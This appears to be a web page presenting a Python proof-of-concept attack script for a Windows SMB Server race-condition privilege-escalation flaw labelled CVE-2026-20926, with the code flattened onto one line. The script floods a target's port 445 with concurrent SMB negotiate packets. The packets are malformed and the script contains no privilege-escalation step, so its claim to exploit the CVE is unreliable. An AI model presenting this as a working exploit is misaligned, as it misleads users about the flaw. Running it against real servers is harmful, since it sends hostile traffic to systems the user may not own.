CVE-2026-20926 Windows SMB Server竞态条件权限提升漏洞

# CVE-2026-20926 Windows SMB Server Race Condition PoC # Note: This is a conceptual demonstration for educational purposes only import socket import struct import time import threading from concurrent.futures import ThreadPoolExecutor def create_smb_negotiate_packet(): """Create SMB negotiate protocol request""" # SMB Header structure smb_header = bytearray() smb_header += b'\xffSMB' # Protocol ID smb_header += struct.pack('<H', 0x72) # Command: Negotiate Protocol smb_header += struct.pack('<I', 0x00000000) # Status smb_header += struct.pack('<H', 0x0098) # Flags smb_header += struct.pack('<H', 0x0000) # Flags2 smb_header += b'\x00' * 16 # Process ID High smb_header += b'\x00' * 8 # Signature smb_header += b'\x00' * 2 # Reserved return bytes(smb_header) def send_smb_request(target_ip, port=445): """Send SMB request to target""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, port)) # Send negotiate request packet = create_smb_negotiate_packet() sock.send(packet) # Receive response response = sock.recv(1024) sock.close() return response except Exception as e: print(f"[-] Error: {e}") return None def race_condition_attack(target_ip, num_threads=50): """ Race condition exploitation attempt Send concurrent requests to trigger timing vulnerability """ print(f"[*] Starting race condition attack on {target_ip}") print(f"[*] Using {num_threads} concurrent threads") with ThreadPoolExecutor(max_workers=num_threads) as executor: futures = [] for i in range(num_threads): # Stagger requests slightly to maximize race window time.sleep(0.001 * (i % 10)) future = executor.submit(send_smb_request, target_ip) futures.append(future) # Collect results results = [f.result() for f in futures if f.result()] print(f"[*] Completed {len(results)} successful requests") return len(results) > 0 if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2026_20926_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] race_condition_attack(target) print("[*] Note: This is a simplified demonstration") print("[*] Full exploitation requires deeper SMB protocol knowledge")